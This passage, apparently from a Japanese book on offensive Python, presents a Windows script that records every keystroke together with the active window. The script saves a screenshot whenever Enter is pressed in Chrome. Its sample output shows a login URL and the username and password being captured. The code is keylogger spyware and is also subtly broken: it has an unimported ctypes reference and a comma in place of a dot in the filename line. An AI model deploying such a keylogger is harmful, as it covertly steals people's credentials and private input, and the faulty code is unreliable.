8.2 スクリーンショットの撮影（サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考）

# screenshotter.py
import random
import sys
import time
from pynput import keyboard
from ctypes import *
from ctypes.wintypes import *
from PIL import ImageGrab

proc_status = None

def get_name_by_pid(pid):
    PROCESS_ALL_ACCESS = 0x1f0fff
    hProcess = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if hProcess == 0:
        return None
    buf = ctypes.create_unicode_buffer(1024)
    ret = ctypes.windll.psapi.GetModuleBaseNameW(hProcess, 0, buf, len(buf))
    if ret == 0:
        return None
    return buf.value

def get_hwnd_n_pid():
    hwnd = windll.user32.GetForegroundWindow()
    pid = ctypes.c_ulong()
    windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
    return hwnd, pid.value

def get_window_title(hwnd, pid):
    length = windll.user32.GetWindowTextLengthW(hwnd)
    buf = create_unicode_buffer(length + 1)
    windll.user32.GetWindowTextW(hwnd, buf, length + 1)
    return buf.value

def on_press(key):
    global proc_status
    global mem_dc
    global screenshot
    try:
        hwnd, pid = get_hwnd_n_pid()
        pid_name = get_name_by_pid(pid)
        window_title = get_window_title(hwnd, pid)

        if proc_status == window_title:
            pass
        else:
            print("pid:{0} [{1}] [{2}]".format(pid, pid_name, window_title))
            proc_status = window_title
        if key == keyboard.Key.enter and 'chrome' in proc_status.lower():
            time.sleep(1)
            filename = "{}.bmp",format(random.randint(1000,100000))
            img = ImageGrab.grab()
            img.save(filename)
            print()
            print("[*] Save screenshot as {}".format(filename))
        print(key.char, end="")
    except AttributeError:
        if key.name == "shift" or key.name == "alt_l":
            print(" [{}]".format(key.name), end="")
        else:
            print(" [{}]".format(key.name))


def on_release(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

動作確認

それでは、上記で作成したスクリプトを実行します。

 > python screenshotter.py
 pid:1408 [chrome.exe] [新しいタブ - Google Chrome]
 http://localhost/bhp/login.html
 [*] Save screenshot as 21910.bmp
  [enter]
 admin [tab]
 pass [tab]

 [*] Save screenshot as 96835.bmp
  [enter]

上記ではURLを入力した際と、ログイン認証を行った際にスクリーンショットを取得しています。

保存されたファイルを確認してみます。